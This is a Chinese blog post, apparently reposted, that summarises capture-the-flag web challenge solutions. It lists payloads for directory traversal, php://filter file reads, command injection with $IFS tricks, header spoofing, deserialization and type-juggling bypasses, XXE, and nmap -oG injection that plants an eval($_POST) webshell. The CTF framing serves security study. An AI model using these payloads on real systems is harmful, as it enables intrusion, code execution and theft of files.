第1-63题总结:URL提交参数获取flag篇
Posted 想学习安全的小白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第1-63题总结:URL提交参数获取flag篇相关的知识,希望对你有一定的参考价值。
第一种:使用目录穿越方法,提交参数时输入:xxxx?/…/…/…/…/flag,利用?/将xxx文件失效,解析到flag所在文档,eg:第一题
第二种:使用filter协议读取文件,语句:php://filter/read=convert.base64-encode/resource=flag.php
php://filter可以在resource之前嵌套一层目录,利用此原理获取flag
输入php://filter/convert.base64-encode/index/resource=flag
,得到base64编码,解码后得到flag
第三种:执行ping命令时,使用|或;执行除ping命令外我们想要执行的命令
空格替换:采用$IPS$1
代替空格
关键字替换,cat /flag
=a=g;cat$IFS$1fla$a
第四种:利用空格绕过WAF,利用print_r(scandir(chr(47)))
获取根目录下文件,利用print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
获取flag,eg:第十三题
第五种:判断流量包
- 指明原跳转页面,添加Referer一栏指明https://www.Sycsecret.com
- 指明浏览器:修改User-Agent一栏为:Syclover
- X-Forwarded-For:127.0.0.1来指定请求方的IP
第六种:使用dirsearch扫描目录
- www.zip
- index.php.bak
- 存在/.git目录,利用GitHack
- phpmyadmin
- index.php.swp
第七种:反序列化漏洞
protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\\0*\\0的前缀
对于private变量,我们需要在类名和字段名前面都会加上\\0的前缀
如果想放在浏览器中直接提交,我们可以将\\0换成%00
- weakup函数会在反序列化时执行,绕过方法,修改序列化字符串中成员数量,将正确的:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
修改为错误的:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
- extract($_POST);通过POST提交重名的_SESSION对象,可以覆盖掉之前的_SEEION对象值
第八种:类型绕过
- 弱等绕过,php的==会将数字加字符串类型强制转换为数字,舍去字符后面的全部内容
- 数字长度绕过,利用数组
- 值不同,md5值相同,利用数组进行绕过a[]=1&b[]=2,或者
- intval函数会将输入的字符串转化为int型数字,若输入的有数字有字符,则将字符前的数字转化为int,字符后的数字舍去。但是当我们以科学计数法输入不会识别成科学计数法,会当成数字+字符组合,但对科学i计数法进行加减法,再使用intval提取时会得到正确结果,所以输入3e3,intval(3e3)=3,intval(3e3+1)=3001
- cat替换为wctf2020,我们可以使用tac,若里面有空格,则strstr函数会识别出来,可以采用$IFS$9代替空格
$md5=$_GET['md5'];
if ($md5==md5($md5))
md5=0e215962017
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第九种:session绕过,eg:第二十题
第十种:利用data协议绕过file_get_contents函数,data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,eg:第二十四题
第十一种:nmap绕过,eg:第三十三题
1、
nmap有个参数-oG可以使扫描结果保存为指定名字的文件。
构建host=' <?php echo 'cat /flag'?> -oG 1.php '之后访问1.php就可以获取flag了echo后面不是单引号,单引号会被加上\\,是~键的反引号,单引号内的内容需要空格和单引号隔开。
或者构建host=' <?php @eval($_POST["pass"]);?> -oG 1.php '上传一句话木马,之后通过蚁剑连接后查找flag。
2、
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
蚁剑连接hack.phtml
第十二种:preg_replace函数绕过,eg:第四十题
构造参数:\\S*=${getFlag()}
第十三种:XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY XXE SYSTEM "file:///文件名" >]>
<name>&XXE;</name>
第十四种:UTF-8绕过,eg:第四十六题
以上是关于第1-63题总结:URL提交参数获取flag篇的主要内容,如果未能解决你的问题,请参考以下文章